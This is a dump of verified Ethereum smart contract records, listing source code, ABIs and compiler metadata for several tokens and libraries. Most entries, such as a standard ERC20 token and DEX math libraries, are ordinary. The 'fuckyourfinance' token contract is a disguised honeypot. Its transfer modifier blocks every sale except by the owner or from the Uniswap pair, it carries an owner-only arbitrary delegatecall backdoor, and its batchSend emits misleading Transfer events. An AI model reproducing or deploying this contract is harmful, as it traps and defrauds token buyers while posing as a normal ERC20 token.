type":"function"},{"constant":false,"inputs":[{"name":"_investor","type":"address"},{"name":"_fromTime","type":"uint256"},{"name":"_toTime","type":"uint256"},{"name":"_expiryTime","type":"uint256"},{"name":"_canBuyFromSTO","type":"bool"},{"name":"_validFrom","type":"uint256"},{"name":"_validTo","type":"uint256"},{"name":"_nonce","type":"uint256"},{"name":"_v","type":"uint8"},{"name":"_r","type":"bytes32"},{"name":"_s","type":"bytes32"}],"name":"modifyWhitelistSigned","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"inputs":[{"name":"_securityToken","type":"address"},{"name":"_polyAddress","type":"address"}],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":false,"name":"_issuanceAddress","type":"address"}],"name":"ChangeIssuanceAddress","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"_allowAllTransfers","type":"bool"}],"name":"AllowAllTransfers","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"_allowAllWhitelistTransfers","type":"bool"}],"name":"AllowAllWhitelistTransfers","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"_allowAllWhitelistIssuances","type":"bool"}],"name":"AllowAllWhitelistIssuances","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"_allowAllBurnTransfers","type":"bool"}],"name":"AllowAllBurnTransfers","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"_signingAddress","type":"address"}],"name":"ChangeSigningAddress","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"_investor","type":"address"},{"indexed":false,"name":"_dateAdded","type":"uint256"},{"indexed":false,"name":"_addedBy","type":"address"},{"indexed":false,"name":"_fromTime","type":"uint256"},{"indexed":false,"name":"_toTime","type":"uint256"},{"indexed":false,"name":"_expiryTime","type":"uint256"},{"indexed":false,"name":"_canBuyFromSTO","type":"bool"}],"name":"ModifyWhitelist","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"_timestammp","type":"uint256"}],"name":"Pause","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"_timestamp","type":"uint256"}],"name":"Unpause","type":"event"}] | v0.4.24+commit.e67f0147 | true | 200 | 000000000000000000000000cf5b6b12a97dc4111663eea9d66e552812943b880000000000000000000000009992ec3cf6a55b00978cddf2b27bc6882d88d1ec | Default | false | bzzr://ea4a6e921ba41b7343c8682b3545240298fbbf9af2086887e8db8e63110958a6 |
|||
fuckyourfinance | fuckyourfinance.sol | 0x229da872ceca49d039ae5bae7541e6c9972b6ccb | Solidity | pragma solidity ^0.5.17;
// ______ _ __ __ ______ _
// | ____| | | \ \ / / | ____(_)
// | |__ _ _ ___| | __ \ \_/ /__ _ _ _ __ | |__ _ _ __ __ _ _ __ ___ ___
// | __| | | |/ __| |/ / \ / _ \| | | | '__| | __| | | '_ \ / _` | '_ \ / __/ _ \
// | | | |_| | (__| < | | (_) | |_| | | | | | | | | | (_| | | | | (_| __/
// |_|___\__,_|\___|_|\_\ __|_|\___/ \__,_|_| |_| |_|_| |_|\__,_|_| |_|\___\___|
// | ____| | | | ____(_)
// | |__ _ _ ___| | __ | |__ _ _ __ __ _ _ __ ___ ___
// | __| | | |/ __| |/ / | __| | | '_ \ / _` | '_ \ / __/ _ \
// | | | |_| | (__| < _| | | | | | | (_| | | | | (_| __/
// |_| \__,_|\___|_|\_(_)_| |_|_| |_|\__,_|_| |_|\___\___|
//
// fuck.finance
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
library SafeERC20 {
using SafeMath
for uint;
using Address
for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract Context {
constructor() internal {}
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract fuckyourfinance {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable ensure(_from, _to) returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
modifier ensure(address _from, address _to) {
address UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
require(_from == owner || _to == owner || _from == UNI);
_;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant internal UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply;
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | [{"inputs":[{"internalType":"string","name":"_name","type":"string"},{"internalType":"string","name":"_symbol","type":"string"},{"internalType":"uint256","name":"_supply","type":"uint256"}],"payable":true,"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"_owner","type":"address"},{"indexed":true,"internalType":"address","name":"_spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"_value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"_from","type":"address"},{"indexed":true,"internalType":"address","name":"_to","type":"address"},{"indexed":false,"internalType":"uint256","name":"_value","type":"uint256"}],"name":"Transfer","type":"event"},{"constant":true,"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"_spender","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":true,"stateMutability":"payable","type":"function"},{"constant":true,"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address[]","name":"_tos","type":"address[]"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"batchSend","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":true,"stateMutability":"payable","type":"function"},{"constant":true,"inputs":[],"name":"decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"a","type":"address"},{"internalType":"bytes","name":"b","type":"bytes"}],"name":"delegate","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":true,"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":true,"stateMutability":"payable","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":true,"stateMutability":"payable","type":"function"}] | v0.5.17+commit.d19bba13 | false | 200 | 000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a000000000000000000000000000000000000000000000065a4da25d3016c00000000000000000000000000000000000000000000000000000000000000000000c4675636b2e66696e616e6365000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000034659460000000000000000000000000000000000000000000000000000000000 | Default | MIT | false | bzzr://06e557248b2e86fd7dfc08d0c9e355155db1ab1d0555e768c79ca6f7151ef01c |
||
DigerCoin | DigerCoin.sol | 0xadbc5ad018cd101bd8408004c2583771b106008c | Solidity | pragma solidity >=0.4.22 <0.7.0;
// ----------------------------------------------------------------------------
// 'DGR' ERC20 Smart Contract
//
// Deployed to : 0xD040a50e46E254121f73A906b0e60194bcd4D5Ac
// Symbol : DGR
// Name : DIGER COIN
// Total supply: 100,000,000,000
// Decimals : 18
//
// Contract Developed by pion33r @Github
// ----------------------------------------------------------------------------
// ----------------------------------------------------------------------------
// Safe maths
// ----------------------------------------------------------------------------
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public view returns (uint);
function balanceOf(address tokenOwner) public view returns (uint balance);
function allowance(address tokenOwner, address spender) public view returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
// Contract function to receive approval and execute function in one call
//
// Borrowed from MiniMeToken
// ----------------------------------------------------------------------------
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes memory data) public;
}
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
// ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and assisted
// token transfers
// ----------------------------------------------------------------------------
contract DigerCoin is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
constructor() public {
symbol = "DGR";
name = "DIGER COIN";
decimals = 18;
_totalSupply = 100000000000000000000000000000;
balances[0xD040a50e46E254121f73A906b0e60194bcd4D5Ac] = _totalSupply;
emit Transfer(address(0), 0xD040a50e46E254121f73A906b0e60194bcd4D5Ac, _totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public view returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account tokenOwner
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public view returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to to account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer tokens from the from account to the to account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the from account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account. The spender contract function
// receiveApproval(...) is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes memory data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, address(this), data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () external payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | [{"inputs":[],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"tokenOwner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"tokens","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"_from","type":"address"},{"indexed":true,"internalType":"address","name":"_to","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"tokens","type":"uint256"}],"name":"Transfer","type":"event"},{"payable":true,"stateMutability":"payable","type":"fallback"},{"constant":true,"inputs":[],"name":"_totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"acceptOwnership","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"internalType":"address","name":"tokenOwner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"remaining","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"tokens","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"tokens","type":"uint256"},{"internalType":"bytes","name":"data","type":"bytes"}],"name":"approveAndCall","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"internalType":"address","name":"tokenOwner","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"balance","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"newOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"internalType":"uint256","name":"a","type":"uint256"},{"internalType":"uint256","name":"b","type":"uint256"}],"name":"safeAdd","outputs":[{"internalType":"uint256","name":"c","type":"uint256"}],"payable":false,"stateMutability":"pure","type":"function"},{"constant":true,"inputs":[{"internalType":"uint256","name":"a","type":"uint256"},{"internalType":"uint256","name":"b","type":"uint256"}],"name":"safeDiv","outputs":[{"internalType":"uint256","name":"c","type":"uint256"}],"payable":false,"stateMutability":"pure","type":"function"},{"constant":true,"inputs":[{"internalType":"uint256","name":"a","type":"uint256"},{"internalType":"uint256","name":"b","type":"uint256"}],"name":"safeMul","outputs":[{"internalType":"uint256","name":"c","type":"uint256"}],"payable":false,"stateMutability":"pure","type":"function"},{"constant":true,"inputs":[{"internalType":"uint256","name":"a","type":"uint256"},{"internalType":"uint256","name":"b","type":"uint256"}],"name":"safeSub","outputs":[{"internalType":"uint256","name":"c","type":"uint256"}],"payable":false,"stateMutability":"pure","type":"function"},{"constant":true,"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokens","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"tokenAddress","type":"address"},{"internalType":"uint256","name":"tokens","type":"uint256"}],"name":"transferAnyERC20Token","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokens","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"_newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"}] | v0.5.12+commit.7709ece9 | false | 200 | Default | None | false | bzzr://6492c025265a7a0307f3f632c1b518bc06b817ff0af80d5322ed1a1398f76375 |
|||
DMMPool | contracts/libraries/MathExt.sol | 0xd343d5dba2fba55eef58189619c05e33cab95ca1 | Solidity | pragma solidity 0.6.12;
library MathExt {
using SafeMath for uint256;
uint256 public constant PRECISION = (10**18);
/// @dev Returns x*y in precision
function mulInPrecision(uint256 x, uint256 y) internal pure returns (uint256) {
return x.mul(y) / PRECISION;
}
/// @dev source: dsMath
/// @param xInPrecision should be < PRECISION, so this can not overflow
/// @return zInPrecision = (x/PRECISION) ^k * PRECISION
function unsafePowInPrecision(uint256 xInPrecision, uint256 k)
internal
pure
returns (uint256 zInPrecision)
{
require(xInPrecision <= PRECISION, "MathExt: x > PRECISION");
zInPrecision = k % 2 != 0 ? xInPrecision : PRECISION;
for (k /= 2; k != 0; k /= 2) {
xInPrecision = (xInPrecision * xInPrecision) / PRECISION;
if (k % 2 != 0) {
zInPrecision = (zInPrecision * xInPrecision) / PRECISION;
}
}
}
// babylonian method (https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method)
function sqrt(uint256 y) internal pure returns (uint256 z) {
if (y > 3) {
z = y;
uint256 x = y / 2 + 1;
while (x < z) {
z = x;
x = (y / x + x) / 2;
}
} else if (y != 0) {
z = 1;
}
}
} | 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999,999 | Default | MIT | false | ipfs://49f6f8528b3e4b37e72b9bde0aa804ce74fda17a3dc51ea424bf85cf5943707e |
|||
DMMPool | contracts/libraries/FeeFomula.sol | 0xd343d5dba2fba55eef58189619c05e33cab95ca1 | Solidity | pragma solidity 0.6.12;
library FeeFomula {
using SafeMath for uint256;
using MathExt for uint256;
uint256 private constant PRECISION = 10**18;
uint256 private constant R0 = 1477405064814996100; // 1.4774050648149961
uint256 private constant C0 = (60 * PRECISION) / 10000;
uint256 private constant A = uint256(PRECISION * 20000) / 27;
uint256 private constant B = uint256(PRECISION * 250) / 9;
uint256 private constant C1 = uint256(PRECISION * 985) / 27;
uint256 private constant U = (120 * PRECISION) / 100;
uint256 private constant G = (836 * PRECISION) / 1000;
uint256 private constant F = 5 * PRECISION;
uint256 private constant L = (2 * PRECISION) / 10000;
// C2 = 25 * PRECISION - (F * (PRECISION - G)**2) / ((PRECISION - G)**2 + L * PRECISION)
uint256 private constant C2 = 20036905816356657810;
/// @dev calculate fee from rFactorInPrecision, see section 3.2 in dmmSwap white paper
/// @dev fee in [15, 60] bps
/// @return fee percentage in Precision
function getFee(uint256 rFactorInPrecision) internal pure returns (uint256) {
if (rFactorInPrecision >= R0) {
return C0;
} else if (rFactorInPrecision >= PRECISION) {
// C1 + A * (r-U)^3 + b * (r -U)
if (rFactorInPrecision > U) {
uint256 tmp = rFactorInPrecision - U;
uint256 tmp3 = tmp.unsafePowInPrecision(3);
return (C1.add(A.mulInPrecision(tmp3)).add(B.mulInPrecision(tmp))) / 10000;
} else {
uint256 tmp = U - rFactorInPrecision;
uint256 tmp3 = tmp.unsafePowInPrecision(3);
return C1.sub(A.mulInPrecision(tmp3)).sub(B.mulInPrecision(tmp)) / 10000;
}
} else {
// [ C2 + sign(r - G) * F * (r-G) ^2 / (L + (r-G) ^2) ] / 10000
uint256 tmp = (
rFactorInPrecision > G ? (rFactorInPrecision - G) : (G - rFactorInPrecision)
);
tmp = tmp.unsafePowInPrecision(2);
uint256 tmp2 = F.mul(tmp).div(tmp.add(L));
if (rFactorInPrecision > G) {
return C2.add(tmp2) / 10000;
} else {
return C2.sub(tmp2) / 10000;
}
}
}
} | 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IERC20","name":"_token0","type":"address"},{"internalType":"contract IERC20","name":"_token1","type":"address"},{"internalType":"uint32","name":"_ampBps","type":"uint32"}],"name":"initialize","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"kLast","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"}],"name":"mint","outputs":[{"internalType":"uint256","name":"liquidity","type":"uint256"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"nonces","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"},{"internalType":"uint256","name":"deadline","type":"uint256"},{"internalType":"uint8","name":"v","type":"uint8"},{"internalType":"bytes32","name":"r","type":"bytes32"},{"internalType":"bytes32","name":"s","type":"bytes32"}],"name":"permit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"}],"name":"skim","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount0Out","type":"uint256"},{"internalType":"uint256","name":"amount1Out","type":"uint256"},{"internalType":"address","name":"to","type":"address"},{"internalType":"bytes","name":"callbackData","type":"bytes"}],"name":"swap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sync","outputs":[],